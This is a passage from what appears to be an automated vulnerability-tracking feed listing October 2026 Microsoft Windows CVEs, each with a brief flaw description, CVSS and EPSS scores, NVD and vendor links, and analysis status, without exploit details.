NVD CVE-2026-96216: https://nvd.nist.gov/vuln/detail/CVE-2026-96216
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96216
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96216&date=2026-10-25
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of untrusted data in Microsoft Windows Media Foundation allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96186
Deserialization of untrusted data in Microsoft Windows Media Foundation allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Deserialization of untrusted data in Microsoft Windows Media Foundation allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96186).
EPSS 2.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96186&date=2026-10-25).
Sources:
NVD CVE-2026-96186: https://nvd.nist.gov/vuln/detail/CVE-2026-96186
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96186
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96186&date=2026-10-25
Deserialization of untrusted data in Microsoft Windows Media Foundation allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Desktop Window Manager allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96108
Use after free in Desktop Window Manager allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Desktop Window Manager allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96108).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96108&date=2026-10-25).
Sources:
NVD CVE-2026-96108: https://nvd.nist.gov/vuln/detail/CVE-2026-96108
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96108&date=2026-10-25
Use after free in Desktop Window Manager allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Media Player allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-96096
Heap-based buffer overflow in Windows Media Player allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows Media Player allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96096).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96096&date=2026-10-25).
Sources:
NVD CVE-2026-96096: https://nvd.nist.gov/vuln/detail/CVE-2026-96096
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96096
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96096&date=2026-10-25
Heap-based buffer overflow in Windows Media Player allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Background Intelligent Transfer Service (BITS) allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88159
Use after free in Windows Background Intelligent Transfer Service (BITS) allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Windows Background Intelligent Transfer Service (BITS) allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88159).
EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88159&date=2026-10-25).
Sources:
NVD CVE-2026-88159: https://nvd.nist.gov/vuln/detail/CVE-2026-88159
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88159&date=2026-10-25
Use after free in Windows Background Intelligent Transfer Service (BITS) allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in OpenSSH for Windows allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88157
Heap-based buffer overflow in OpenSSH for Windows allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in OpenSSH for Windows allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88157).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88157&date=2026-10-25).
Sources:
NVD CVE-2026-88157: https://nvd.nist.gov/vuln/detail/CVE-2026-88157
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88157&date=2026-10-25
Heap-based buffer overflow in OpenSSH for Windows allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88152
Use after free in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88152).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88152&date=2026-10-25).
Sources:
NVD CVE-2026-88152: https://nvd.nist.gov/vuln/detail/CVE-2026-88152
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88152&date=2026-10-25
Use after free in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Double free in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88149
Double free in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Double free in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88149).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88149&date=2026-10-25).
Sources:
NVD CVE-2026-88149: https://nvd.nist.gov/vuln/detail/CVE-2026-88149
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88149&date=2026-10-25
Double free in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Secure Socket Tunneling Protocol (SSTP) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88147
Heap-based buffer overflow in Windows Secure Socket Tunneling Protocol (SSTP) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Secure Socket Tunneling Protocol (SSTP) allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88147).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88147&date=2026-10-25).
Sources:
NVD CVE-2026-88147: https://nvd.nist.gov/vuln/detail/CVE-2026-88147
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88147&date=2026-10-25
Heap-based buffer overflow in Windows Secure Socket Tunneling Protocol (SSTP) allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker...
https://kevwire.com/record/CVE-2026-88146
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker... (Oct 13, 2026).
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88146).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88146&date=2026-10-25).
Sources:
NVD CVE-2026-88146: https://nvd.nist.gov/vuln/detail/CVE-2026-88146
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88146&date=2026-10-25
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Background Intelligent Transfer Service (BITS) allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88142
Use after free in Windows Background Intelligent Transfer Service (BITS) allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Windows Background Intelligent Transfer Service (BITS) allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88142).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88142&date=2026-10-25).
Sources:
NVD CVE-2026-88142: https://nvd.nist.gov/vuln/detail/CVE-2026-88142
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88142&date=2026-10-25
Use after free in Windows Background Intelligent Transfer Service (BITS) allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper resolution of path equivalence in WebDAV allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88136
Improper resolution of path equivalence in WebDAV allows an authorized attacker to execute code over a network. (Oct 13, 2026).
Improper resolution of path equivalence in WebDAV allows an authorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88136).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88136&date=2026-10-25).
Sources:
NVD CVE-2026-88136: https://nvd.nist.gov/vuln/detail/CVE-2026-88136
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88136&date=2026-10-25
Improper resolution of path equivalence in WebDAV allows an authorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper access control in WebDAV allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88135
Improper access control in WebDAV allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper access control in WebDAV allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88135).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88135&date=2026-10-25).
Sources:
NVD CVE-2026-88135: https://nvd.nist.gov/vuln/detail/CVE-2026-88135
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88135&date=2026-10-25
Improper access control in WebDAV allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88134
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88134).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88134&date=2026-10-25).
Sources:
NVD CVE-2026-88134: https://nvd.nist.gov/vuln/detail/CVE-2026-88134
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88134&date=2026-10-25
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper authorization in Windows Portable Device Enumerator Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88133
Improper authorization in Windows Portable Device Enumerator Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper authorization in Windows Portable Device Enumerator Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88133).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88133&date=2026-10-25).
Sources:
NVD CVE-2026-88133: https://nvd.nist.gov/vuln/detail/CVE-2026-88133
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88133&date=2026-10-25
Improper authorization in Windows Portable Device Enumerator Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88128
Heap-based buffer overflow in Windows DWM Core Library allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88128).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88128&date=2026-10-25).
Sources:
NVD CVE-2026-88128: https://nvd.nist.gov/vuln/detail/CVE-2026-88128
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88128&date=2026-10-25
Heap-based buffer overflow in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Untrusted pointer dereference in WebDAV allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88126
Untrusted pointer dereference in WebDAV allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Untrusted pointer dereference in WebDAV allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88126).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88126&date=2026-10-25).
Sources:
NVD CVE-2026-88126: https://nvd.nist.gov/vuln/detail/CVE-2026-88126
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88126&date=2026-10-25
Untrusted pointer dereference in WebDAV allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88124
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88124).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88124&date=2026-10-25).
Sources:
NVD CVE-2026-88124: https://nvd.nist.gov/vuln/detail/CVE-2026-88124
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88124&date=2026-10-25
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Background Intelligent Transfer Service (BITS) allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88121
Use after free in Windows Background Intelligent Transfer Service (BITS) allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Windows Background Intelligent Transfer Service (BITS) allows an unauthorized attacker to execute code over a network.
CVSS 8.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88121).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88121&date=2026-10-25).
Sources:
NVD CVE-2026-88121: https://nvd.nist.gov/vuln/detail/CVE-2026-88121
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88121&date=2026-10-25
Use after free in Windows Background Intelligent Transfer Service (BITS) allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer overflow or wraparound in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88118
Integer overflow or wraparound in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Integer overflow or wraparound in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88118).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88118&date=2026-10-25).
Sources:
NVD CVE-2026-88118: https://nvd.nist.gov/vuln/detail/CVE-2026-88118
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88118&date=2026-10-25
Integer overflow or wraparound in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Untrusted pointer dereference in DNS Server allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88116
Untrusted pointer dereference in DNS Server allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Untrusted pointer dereference in DNS Server allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88116).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88116&date=2026-10-25).
Sources:
NVD CVE-2026-88116: https://nvd.nist.gov/vuln/detail/CVE-2026-88116
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88116
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88116&date=2026-10-25
Untrusted pointer dereference in DNS Server allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Untrusted pointer dereference in DNS Server allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88114
Untrusted pointer dereference in DNS Server allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Untrusted pointer dereference in DNS Server allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88114).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88114&date=2026-10-25).
Sources:
NVD CVE-2026-88114: https://nvd.nist.gov/vuln/detail/CVE-2026-88114
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88114
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88114&date=2026-10-25
Untrusted pointer dereference in DNS Server allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88113
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88113).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88113&date=2026-10-25).
Sources:
NVD CVE-2026-88113: https://nvd.nist.gov/vuln/detail/CVE-2026-88113
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88113&date=2026-10-25
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Untrusted pointer dereference in DNS Server allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88112
Untrusted pointer dereference in DNS Server allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Untrusted pointer dereference in DNS Server allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88112).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88112&date=2026-10-25).
Sources:
NVD CVE-2026-88112: https://nvd.nist.gov/vuln/detail/CVE-2026-88112
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88112
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88112&date=2026-10-25
Untrusted pointer dereference in DNS Server allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

